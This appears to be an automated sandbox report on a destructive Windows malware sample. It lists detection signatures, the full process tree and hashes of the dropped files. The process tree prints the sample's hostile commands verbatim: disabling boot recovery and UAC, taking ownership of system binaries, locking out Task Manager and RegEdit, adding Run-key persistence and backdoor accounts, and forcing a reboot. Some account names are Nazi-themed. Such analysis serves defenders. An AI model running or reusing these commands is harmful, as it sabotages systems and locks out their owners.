Analysis

  • max time kernel
    67s
  • max time network
    67s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    12/06/2024, 06:58

Errors

Reason
Machine shutdown

General

  • Target
    personalize.exe
  • Size 832KB
  • Sample240612-hrxe5stcpc
  • SHA256 80f8e854a1fddd3b1c6b5f81e86a7898f3f2bb9eac49ac43a96910d35a8f99f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 6 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 13 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\personalize.exe
    "C:\Users\Admin\AppData\Local\Temp\personalize.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1DFC.tmp\1DFD.tmp\1DFE.bat C:\Users\Admin\AppData\Local\Temp\personalize.exe"
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\system32\choice.exe
        choice /c yn /n /m ""
        3⤵
          PID:2652
        • C:\Windows\system32\choice.exe
          choice /c yn /n /m ""
          3⤵
            PID:2728
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} recoveryenabled no
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:3008
          • C:\Users\Admin\downloads\colorcmd.exe
            C:\Users\Admin\downloads\colorcmd.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5B88.tmp\5B89.tmp\5B8A.bat C:\Users\Admin\downloads\colorcmd.exe"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2512
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fullscr.vbs"
                5⤵
                  PID:2912
            • C:\Users\Admin\downloads\screenmelt.exe
              C:\Users\Admin\downloads\screenmelt.exe
              3⤵
              • Executes dropped EXE
              PID:2812
            • C:\Windows\system32\attrib.exe
              attrib +s +h C:\Windows\System32\mbr.exe
              3⤵
              • Sets file to hidden
              • Drops file in System32 directory
              • Views/modifies file attributes
              PID:1276
            • C:\Windows\system32\takeown.exe
              takeown /F "C:\Windows\system32\taskmgr.exe"
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:2540
            • C:\Windows\system32\icacls.exe
              icacls "C:\windows\system32\taskmgr.exe" /grant everyone:F
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:2928
            • C:\Windows\system32\takeown.exe
              takeown /F "C:\Windows\system32\mmc.exe"
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:3068
            • C:\Windows\system32\icacls.exe
              icacls "C:\windows\system32\mmc.exe" /grant everyone:F
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1820
            • C:\Windows\system32\takeown.exe
              takeown /F "C:\Windows\system32\msiexec.exe"
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:2756
            • C:\Windows\system32\icacls.exe
              icacls "C:\windows\system32\msiexec.exe" /grant everyone:F
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1972
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Windows\Web\winntcus64.png" /f
              3⤵
              • Sets desktop wallpaper using registry
              PID:1292
            • C:\Windows\system32\rundll32.exe
              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
              3⤵
                PID:1700
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                3⤵
                • UAC bypass
                PID:744
              • C:\Windows\system32\attrib.exe
                attrib +s +h C:\Windows\System32\winnt64.exe
                3⤵
                • Sets file to hidden
                • Drops file in System32 directory
                • Views/modifies file attributes
                PID:2612
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows NT Personalization tool" /T REG_SZ /F /D "C:\Windows\System32\winnt64.exe"
                3⤵
                • Adds Run key to start application
                PID:2752
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                3⤵
                  PID:2760
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
                  3⤵
                    PID:2784
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
                    3⤵
                      PID:2792
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
                      3⤵
                        PID:2836
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                        3⤵
                          PID:2852
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
                          3⤵
                            PID:2880
                          • C:\Windows\system32\reg.exe
                            reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoThemesTab /t REG_DWORD /d 1 /f
                            3⤵
                              PID:2860
                            • C:\Windows\system32\reg.exe
                              reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
                              3⤵
                                PID:2924
                              • C:\Windows\system32\reg.exe
                                reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:1228
                                • C:\Windows\system32\reg.exe
                                  reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
                                  3⤵
                                    PID:1824
                                  • C:\Windows\system32\net.exe
                                    net user /add NTCUS ntcus123
                                    3⤵
                                      PID:288
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user /add NTCUS ntcus123
                                        4⤵
                                          PID:272
                                      • C:\Windows\system32\net.exe
                                        net user /add NTUSER ntcus124
                                        3⤵
                                          PID:1752
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user /add NTUSER ntcus124
                                            4⤵
                                              PID:1704
                                          • C:\Windows\system32\net.exe
                                            net user /add NTDAT ntpersonalize
                                            3⤵
                                              PID:1952
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user /add NTDAT ntpersonalize
                                                4⤵
                                                  PID:2060
                                              • C:\Windows\system32\net.exe
                                                net user /add DC discord
                                                3⤵
                                                  PID:2548
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 user /add DC discord
                                                    4⤵
                                                      PID:1680
                                                  • C:\Windows\system32\net.exe
                                                    net user /add cfs belgium
                                                    3⤵
                                                      PID:2904
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user /add cfs belgium
                                                        4⤵
                                                          PID:2404
                                                      • C:\Windows\system32\net.exe
                                                        net user /add leopoldII belgium
                                                        3⤵
                                                          PID:2736
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 user /add leopoldII belgium
                                                            4⤵
                                                              PID:3024
                                                          • C:\Windows\system32\net.exe
                                                            net user /add SCHJIEAB rykn
                                                            3⤵
                                                              PID:1732
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 user /add SCHJIEAB rykn
                                                                4⤵
                                                                  PID:1720
                                                              • C:\Windows\system32\net.exe
                                                                net user /add IZWYOKWYIEN rykn
                                                                3⤵
                                                                  PID:764
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user /add IZWYOKWYIEN rykn
                                                                    4⤵
                                                                      PID:768
                                                                  • C:\Windows\system32\net.exe
                                                                    net user /add asap asap
                                                                    3⤵
                                                                      PID:352
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user /add asap asap
                                                                        4⤵
                                                                          PID:2292
                                                                      • C:\Windows\system32\net.exe
                                                                        net user /add REICHTANGLE ig1
                                                                        3⤵
                                                                          PID:1060
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 user /add REICHTANGLE ig1
                                                                            4⤵
                                                                              PID:964
                                                                          • C:\Windows\system32\net.exe
                                                                            net user /add SIEGHEIL hitler
                                                                            3⤵
                                                                              PID:1860
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user /add SIEGHEIL hitler
                                                                                4⤵
                                                                                  PID:1140
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:1360
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent" /v AccentColor /t REG_DWORD /d 0xFF0000 /f
                                                                                  3⤵
                                                                                    PID:2476
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                    • Disables RegEdit via registry modification
                                                                                    PID:900
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 15 /nobreak
                                                                                    3⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:1392
                                                                                  • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.google.com/search?q=HAHAHAHAHAHA
                                                                                    3⤵
                                                                                    • Modifies Internet Explorer settings
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:1628
                                                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:275457 /prefetch:2
                                                                                      4⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2012
                                                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:275461 /prefetch:2
                                                                                      4⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2392
                                                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:472079 /prefetch:2
                                                                                      4⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2780
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 15 /nobreak
                                                                                    3⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:596
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 15 /nobreak
                                                                                    3⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:2660
                                                                                  • C:\Windows\system32\shutdown.exe
                                                                                    shutdown /r /t 3 /c "id like to see you fix this lol"
                                                                                    3⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:2160
                                                                              • C:\Windows\system32\LogonUI.exe
                                                                                "LogonUI.exe" /flags:0x0
                                                                                1⤵
                                                                                  PID:2752
                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                  "LogonUI.exe" /flags:0x1
                                                                                  1⤵
                                                                                    PID:1952

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v15

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                                                                                        Downloads

                                                                                        1DFE.bat

                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\1DFC.tmp\1DFD.tmp\1DFE.bat
                                                                                        • Size 4KB
                                                                                        • SHA256 a1e01b06beb49cc812002ba33f7639a054f0df0452de3674de89b81e85365dca
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        5B8A.bat

                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\5B88.tmp\5B89.tmp\5B8A.bat
                                                                                        • Size 126B
                                                                                        • SHA256 fc696fd5b63c0cd7c675f1fcad5a6a3d2f60bb65bb9f2bd4a727ccd43e6c1b3c
                                                                                        • MD5 SHA1 SHA512

                                                                                        fullscr.vbs

                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\fullscr.vbs
                                                                                        • Size 46B
                                                                                        • SHA256 f6ad35d703551325954e32d310600e325a6de3e93c1ad715ee32bf8fda04f21f
                                                                                        • MD5 SHA1 SHA512

                                                                                        user.bmp

                                                                                        • Path C:\Users\Admin\Downloads\user.bmp
                                                                                        • Size 7KB
                                                                                        • SHA256 63d356735b63778fdf39861fe03155e3766bcab0825074d72a540d1a309e12fe
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        colorcmd.exe

                                                                                        • Path C:\Users\Admin\downloads\colorcmd.exe
                                                                                        • Size 122KB
                                                                                        • SHA256 31dee760b868645ad0f4e7270ec54942d01b1a7df769f04e52948b32e681a346
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        mbr.exe

                                                                                        • Path C:\Users\Admin\downloads\mbr.exe
                                                                                        • Size 47KB
                                                                                        • SHA256 ea5d21e6598d52b30e9d055bc406c6227bbadb5c493addb27b32fb16a6dcae8c
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        mmc.exe

                                                                                        • Path C:\Users\Admin\downloads\mmc.exe
                                                                                        • Size 116KB
                                                                                        • SHA256 584c00a54afbf23413fd3d39a06d07c0ae811965e5670ebc5d8abad70a594ce5
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        msiexec.exe

                                                                                        • Path C:\Users\Admin\downloads\msiexec.exe
                                                                                        • Size 210KB
                                                                                        • SHA256 79b1ba6b9959dfe0289ff1182cf2ecb130f8568dd67a4fec6b6b8464dbfb4446
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        taskmgr.exe

                                                                                        • Path C:\Users\Admin\downloads\taskmgr.exe
                                                                                        • Size 139KB
                                                                                        • SHA256 8436fcc98e61ea958dd6adf346a81c5d08cb91e9d9a6cc67cacf4f1b14db13b9
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        winnt64.exe

                                                                                        • Path C:\Users\Admin\downloads\winnt64.exe
                                                                                        • Size 188KB
                                                                                        • SHA256 dadd54e1c3b0496d3a49e112da7c3d71255037df9ba27b890131330b42eabf88
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        winntcus64.png

                                                                                        • Path C:\Users\Admin\downloads\winntcus64.png
                                                                                        • Size 135KB
                                                                                        • SHA256 2b8c4658c0f5b47bab5f6ba1135d7d5a8d31414cf788b8fa7c4c520d1db92ba2
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        ISEEYOU5.prsnlz

                                                                                        • Path C:\Users\Public\Desktop\ISEEYOU5.prsnlz
                                                                                        • Size 73B
                                                                                        • SHA256 f033d117272cafc4072c2a9e6986381939f19eebe57d08be26834f752a9c4a18
                                                                                        • MD5 SHA1 SHA512

                                                                                        screenmelt.exe

                                                                                        • Path \Users\Admin\Downloads\screenmelt.exe
                                                                                        • Size 116KB
                                                                                        • SHA256 0850c8ca4e063475b6d83171b28eaaf1aec4452814a6c2e07acfc6f9df1d0359
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        memory/2812-114-0x000000013F7C0000-0x000000013F7E3000-memory.dmp